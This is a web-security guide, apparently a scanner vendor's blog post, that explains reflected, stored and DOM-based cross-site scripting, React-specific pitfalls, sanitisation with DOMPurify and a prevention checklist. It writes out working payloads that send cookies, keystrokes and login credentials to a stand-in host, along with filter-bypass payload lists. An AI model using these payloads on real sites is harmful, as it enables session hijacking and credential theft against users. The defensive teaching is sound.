Cross-site scripting (XSS) has been in the OWASP Top 10 for over a decade and it's not going anywhere. Despite being well-understood, XSS remains one of the most common vulnerabilities in web applications -- especially in apps built quickly with modern JavaScript frameworks.
The consequences of XSS are severe: session hijacking, credential theft, defacement, malware distribution, and full account takeover. In this guide, we will break down each type of XSS with real exploit examples, show you framework-specific pitfalls (especially in React), and give you a concrete prevention strategy.
The Three Types of XSS
Reflected XSS
Reflected XSS happens when user input is immediately echoed back in the response without sanitization. A classic example is a search page that displays "No results for [your query]" -- if the query isn't escaped, an attacker can inject a script tag.
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
The payload isn't stored anywhere. It's "reflected" from the URL or form submission directly into the page. The attacker tricks a victim into clicking a crafted link (via email, social media, or another website), and the script executes in the victim's browser session.
Here is what a vulnerable server-side handler looks like:
// VULNERABLE: Express route reflecting input without escaping
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Search results for: ${query}</h1>`);
// If query is <script>alert(1)</script>, it executes in the browser
});
And the fixed version:
import escapeHtml from 'escape-html';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q ?? '');
res.send(`<h1>Search results for: ${query}</h1>`);
// <script> becomes <script> -- rendered as text, not executed
});
Reflected XSS is the most common type found by automated scanners because the inject-and-observe pattern is straightforward to automate.
Stored XSS
Stored XSS is more dangerous because the malicious payload persists. Think of a comment field, user profile, or product review that accepts HTML or Markdown. If the input isn't sanitized before storage and rendering, every user who views that content executes the attacker's script.
Common injection points:
- User profile fields (display name, bio)
- Comments and reviews
- Forum posts and messages
- File names and metadata
Here is a concrete exploit scenario. An attacker sets their display name to:
<img src=x onerror="fetch('https://evil.com/log?cookie='+document.cookie)">
Every time another user views a page listing members or comments from this attacker, the onerror handler fires and silently sends the victim's session cookie to the attacker's server. The image tag with a broken src is invisible -- the victim sees nothing.
A more damaging stored XSS payload might install a keylogger:
<script>
document.addEventListener('keydown', e => {
fetch('https://evil.com/keys', {
method: 'POST',
body: JSON.stringify({ key: e.key, url: location.href }),
});
});
</script>
This captures every keystroke the victim types on the page -- passwords, credit card numbers, private messages -- and exfiltrates them in real time.
DOM-Based XSS
DOM-based XSS happens entirely in the browser. The server response is safe, but client-side JavaScript reads from an untrusted source (like window.location.hash) and writes it into the DOM without sanitization.
// VULNERABLE: DOM-based XSS via location.hash
const name = decodeURIComponent(window.location.hash.slice(1));
document.getElementById('greeting').innerHTML = `Welcome, ${name}!`;
// Attack URL: https://example.com/page#<img src=x onerror=alert(document.cookie)>
Modern single-page applications are particularly vulnerable because they do heavy DOM manipulation on the client side. The server never sees the payload (it's in the URL fragment after #), so server-side sanitization cannot catch it.
Other dangerous DOM sinks include:
// All of these are XSS sinks if the input is untrusted:
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
eval(userInput);
setTimeout(userInput, 0);
element.setAttribute('onclick', userInput);
element.style.cssText = userInput;
The fix is to use safe DOM APIs:
// SAFE: textContent does not parse HTML
document.getElementById('greeting').textContent = `Welcome, ${name}!`;
React-Specific XSS Vectors
React's JSX auto-escapes string interpolation by default, which prevents most XSS. But there are important exceptions that developers must know about.
dangerouslySetInnerHTML
The name is a warning, but developers use it anyway -- often to render rich text from a CMS, Markdown content, or HTML emails.
// VULNERABLE: renders raw HTML without sanitization
function Comment({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// If `html` comes from user input, this is stored XSS.
The fix is to sanitize the HTML before rendering:
import DOMPurify from 'dompurify';
function Comment({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
href="javascript:" Protocol
React does not block javascript: URLs in href attributes. If a user-supplied URL is passed to an anchor tag, it can execute arbitrary JavaScript:
// VULNERABLE: user-controlled href
function UserLink({ url }: { url: string }) {
return <a href={url}>Visit profile</a>;
}
// If url is "javascript:alert(document.cookie)", it executes on click.
The fix:
function UserLink({ url }: { url: string }) {
const safeUrl = url.startsWith('http://') || url.startsWith('https://')
? url
: '#';
return <a href={safeUrl} rel="noopener noreferrer">Visit profile</a>;
}
Server Components and SSR Injection
In Next.js server components, if you interpolate user data into raw HTML strings (not JSX), you bypass React's auto-escaping:
// VULNERABLE: string concatenation in server component
export default async function Page({ searchParams }: { searchParams: { q: string } }) {
const query = searchParams.q;
// If you somehow render this as raw HTML, it's XSS
}
In practice, as long as you use JSX {variable} syntax (not dangerouslySetInnerHTML), React Server Components are safe. The risk comes when developers use template literals to build HTML strings and inject them into the page.
Sanitization Libraries
DOMPurify
DOMPurify is the gold standard for HTML sanitization in JavaScript. It works in both browsers and Node.js (via jsdom).
import DOMPurify from 'dompurify';
// Basic usage: strips all dangerous elements and attributes
const clean = DOMPurify.sanitize(dirty);
// Strict: only allow specific tags
const strict = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
// Remove all HTML, keep only text content
const textOnly = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: [] });
// Server-side (Node.js) usage with jsdom
import { JSDOM } from 'jsdom';
import createDOMPurify from 'dompurify';
const window = new JSDOM('').window;
const purify = createDOMPurify(window);
const serverClean = purify.sanitize(dirty);
DOMPurify handles edge cases that regex-based sanitizers miss: nested tags, encoding tricks, SVG/MathML namespace attacks, and mutation XSS.
sanitize-html (Node.js)
For server-side sanitization without a DOM, sanitize-html is a popular choice:
import sanitizeHtml from 'sanitize-html';
const clean = sanitizeHtml(dirty, {
allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'br'],
allowedAttributes: {
'a': ['href', 'target'],
},
allowedSchemes: ['http', 'https'], // Blocks javascript: and data: URIs
});
Never Roll Your Own Sanitizer
Regex-based sanitizers are almost always bypassable:
// VULNERABLE: naive regex sanitizer
function naiveSanitize(input: string): string {
return input.replace(/<script.*?>.*?<\/script>/gi, '');
}
// Bypass 1: event handlers
// <img src=x onerror=alert(1)>
// Bypass 2: nested tags
// <scr<script>ipt>alert(1)</script>
// Bypass 3: encoding
// <script>alert(1)</script>
Use DOMPurify or sanitize-html. Do not try to build your own.
How Automated Scanners Detect XSS
Automated XSS detection works by injecting test payloads and observing how the application handles them:
- Payload injection -- the scanner sends crafted strings containing script tags, event handlers, and encoding tricks into every input field, URL parameter, and header
- Response analysis -- it checks whether the payload appears unmodified in the response HTML
- DOM inspection -- for DOM-based XSS, the scanner evaluates JavaScript execution contexts
- Context detection -- payloads vary depending on whether injection lands in HTML body, attributes, JavaScript blocks, or CSS
A good scanner tests dozens of payload variations because simple payloads like <script>alert(1)</script> are often blocked by basic filters, while encoded or fragmented payloads slip through.
Example payloads a scanner might test:
// Basic
<script>alert(1)</script>
// Event handler (bypasses <script> filters)
<img src=x onerror=alert(1)>
// SVG (bypasses tag allowlists that forget SVG)
<svg onload=alert(1)>
// Encoded (bypasses naive string matching)
<img src=x onerror=alert(1)>
// Attribute breakout
" onfocus="alert(1)" autofocus="
// JavaScript URL
javascript:alert(1)//
// Template literal injection (in JS contexts)
${alert(1)}
Common XSS Bypasses
Developers often implement incomplete sanitization. Here are patterns that frequently get bypassed:
- Blocklist filtering -- blocking
<script>but not<img onerror=...>or<svg onload=...> - Case sensitivity -- blocking
<SCRIPT>but not<ScRiPt> - Encoding tricks -- HTML entities, URL encoding, Unicode escapes
- Nested tags --
<scr<script>ipt>where the filter removes the inner tag, leaving a valid outer tag - Event handlers --
onmouseover,onfocus,onerroron various HTML elements - Mutation XSS -- payloads that are safe as strings but become dangerous when parsed by the browser's HTML parser (e.g.,
<noscript><p title="</noscript><img src=x onerror=alert(1)>">)
Real-World Impact of XSS
XSS is not just alert(1). Here is what attackers actually do with XSS vulnerabilities.
Session Hijacking
The most common exploit. The attacker steals the victim's session cookie and uses it to impersonate them:
// Attacker's payload
new Image().src = 'https://evil.com/steal?c=' + document.cookie;
If session cookies are not marked HttpOnly, this single line gives the attacker full access to the victim's account. They can change passwords, exfiltrate data, or make purchases.
Credential Theft via Fake Login Forms
An attacker injects a convincing login form that overlays the real page:
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;display:flex;align-items:center;justify-content:center;">
<form action="https://evil.com/phish" method="POST">
<h2>Session expired. Please log in again.</h2>
<input name="email" placeholder="Email" />
<input name="password" type="password" placeholder="Password" />
<button type="submit">Log In</button>
</form>
</div>
The victim sees what looks like a legitimate login prompt on the real domain. Since the URL bar shows the trusted domain, most users will enter their credentials without suspicion.
Keylogging
As shown earlier, an attacker can capture every keystroke on the page. This is particularly devastating on pages with payment forms, where credit card numbers and CVVs are typed in.
Cryptocurrency Mining
Attackers inject scripts that use the victim's CPU to mine cryptocurrency. On high-traffic pages with stored XSS, this generates meaningful revenue for the attacker while degrading the user experience.
Worm Propagation
On social platforms, XSS can be self-propagating. The injected script makes API calls on behalf of the victim to post the same malicious content to their profile or send it to their contacts, creating an exponentially spreading worm.
Prevention Checklist
The most effective defense is a layered approach:
Output encoding -- escape all dynamic content based on context (HTML, JS, URL, CSS). Use your framework's built-in escaping -- React's JSX auto-escapes by default.
Content Security Policy -- deploy a strict CSP that blocks inline scripts. This is the single most effective XSS mitigation. For a full guide on configuring CSP and other security headers, see our security headers guide:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
Input validation -- validate and sanitize input on the server side, not just the client. Use allowlists over blocklists.
HTTPOnly cookies -- mark session cookies as HttpOnly so they can't be stolen via document.cookie:
// Setting a secure session cookie
res.setHeader('Set-Cookie', [
`session=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=86400`,
]);
Framework protections -- use textContent instead of innerHTML, avoid dangerouslySetInnerHTML in React, use {{ }} interpolation in Vue (not v-html).
Sanitize user-generated HTML -- when you must render user HTML (rich text editors, Markdown), always sanitize with DOMPurify:
import DOMPurify from 'dompurify';
// In your React component
function RichContent({ html }: { html: string }) {
const sanitized = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
Validate URLs -- before rendering user-supplied URLs in href or src attributes, ensure they use http:// or https:// protocols. Block javascript:, data:, and vbscript: schemes.
Use SameSite cookies -- the SameSite=Strict or SameSite=Lax attribute prevents cookies from being sent on cross-origin requests, mitigating the impact of XSS when combined with CSRF protections. For more on the relationship between XSS and CSRF, see our CSRF protection guide.
Scanning for XSS With CheckVibe
CheckVibe's XSS scanner tests all accessible input vectors on your site with hundreds of payload variations. It identifies:
- Reflected XSS in URL parameters and form fields
- Missing CSP headers that would mitigate XSS impact
- Unsafe inline script patterns
- Missing HttpOnly flags on session cookies
- DOM-based XSS sinks in client-side JavaScript
- Misconfigured CORS that could amplify XSS impact (see our CORS guide)
Each finding includes the exact payload that succeeded, the affected parameter, and specific remediation steps.
FAQ
Is React safe from XSS?
React's JSX auto-escapes string interpolation, which prevents the most common XSS vectors. If you write <div>{userInput}</div>, React escapes <, >, &, ", and ' so they render as text, not HTML. However, React does not protect you in three cases: (1) dangerouslySetInnerHTML, which renders raw HTML without any sanitization, (2) href attributes that accept javascript: URLs, and (3) server-side rendering where you build HTML strings with template literals instead of JSX. If you use dangerouslySetInnerHTML, always sanitize the input with DOMPurify first. If you render user-supplied URLs, validate that they start with http:// or https://.
Can XSS steal passwords?
Yes. XSS can steal passwords in multiple ways. First, if the browser's password manager has auto-filled a login form on the page, an XSS payload can read those values from the form's DOM elements. Second, an attacker can inject a fake login form that looks identical to the real one (same styling, same domain in the URL bar), tricking users into entering their credentials. Third, an XSS keylogger captures every keystroke on the page, including passwords typed into any form. This is why XSS is classified as a high-severity vulnerability -- it gives the attacker the same capabilities as the victim's browser session.
What's the difference between XSS and CSRF?
XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are both client-side attacks, but they work differently. XSS injects malicious code that runs inside the victim's browser on the trusted site, giving the attacker full access to the page's DOM, cookies (unless HttpOnly), and JavaScript APIs. CSRF tricks the victim's browser into making unwanted requests to the trusted site from a different site, abusing the fact that browsers automatically attach cookies to same-origin requests. XSS is more powerful because it can do everything CSRF can do and more. In fact, XSS bypasses all CSRF defenses because the malicious script runs in the same origin as the application. For a detailed comparison and defense strategies, see our CSRF protection guide.
Does CSP prevent all XSS?
No, but a strict Content Security Policy is the single most effective mitigation. A CSP that blocks unsafe-inline and unsafe-eval in script-src prevents inline <script> tags and event handlers from executing, which stops the majority of XSS payloads. However, CSP does not prevent: (1) XSS via allowed script sources (if your CSP allows cdn.example.com and the attacker can host a script there), (2) DOM-based XSS that does not inject new script elements but manipulates existing DOM APIs like innerHTML, and (3) XSS in contexts where CSP does not apply, like the javascript: protocol in older browsers. CSP should be one layer of your defense, alongside output encoding, input sanitization, and HttpOnly cookies. See our complete security headers guide for how to configure CSP correctly.
Find XSS before your users get exploited. Scan your site now with CheckVibe's automated XSS detection.